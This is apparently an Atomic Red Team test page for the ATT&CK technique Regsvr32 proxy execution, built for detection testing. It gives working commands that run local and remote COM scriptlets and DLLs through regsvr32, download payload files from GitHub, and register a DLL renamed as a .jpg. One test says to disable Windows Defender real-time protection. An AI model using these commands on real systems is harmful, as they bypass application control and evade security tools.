T1218.010.md

T1218.010 - Regsvr32

Description from ATT&CK

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Atomic Tests

• Atomic Test #1 - Regsvr32 local COM scriptlet execution

• Atomic Test #2 - Regsvr32 remote COM scriptlet execution

• Atomic Test #3 - Regsvr32 local DLL execution

• Atomic Test #4 - Regsvr32 Registering Non DLL

Atomic Test #1 - Regsvr32 local COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
filename	Name of the local file, include path.	Path	PathToAtomicsFolder\T1218.010\src\RegSvr32.sct

Attack Commands: Run with command_prompt!

regsvr32.exe /s /u /i:#{filename} scrobj.dll

Dependencies: Run with powershell!

Description: Regsvr32.sct must exist on disk at specified location (#{filename})

Check Prereq Commands:

if (Test-Path #{filename}) {exit 0} else {exit 1} 

Get Prereq Commands:

New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"

Atomic Test #2 - Regsvr32 remote COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
url	URL to hosted sct file	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct

Attack Commands: Run with command_prompt!

regsvr32.exe /s /u /i:#{url} scrobj.dll

Atomic Test #3 - Regsvr32 local DLL execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
dll_name	Name of DLL to Execute, DLL Should export DllRegisterServer	Path	PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll

Attack Commands: Run with command_prompt!

IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )

Dependencies: Run with powershell!

Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})

Check Prereq Commands:

if (Test-Path #{dll_name}) {exit 0} else {exit 1} 

Get Prereq Commands:

New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"

Atomic Test #4 - Regsvr32 Registering Non DLL

Replicating observed Gozi maldoc behavior registering a dll with an altered extension

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
dll_file	Path to renamed dll file to be registered	Path	%temp%\shell32.jpg

Attack Commands: Run with command_prompt!

regsvr32 /s #{dll_file}

Cleanup Commands:

regsvr32 /U /s #{dll_file}

Dependencies: Run with command_prompt!

Description: Test requires a renamed dll file

Check Prereq Commands:

if exist #{dll_file} ( exit 0 ) else ( exit 1 ) 

Get Prereq Commands:

copy "C:\Windows\System32\shell32.dll" "#{dll_file}"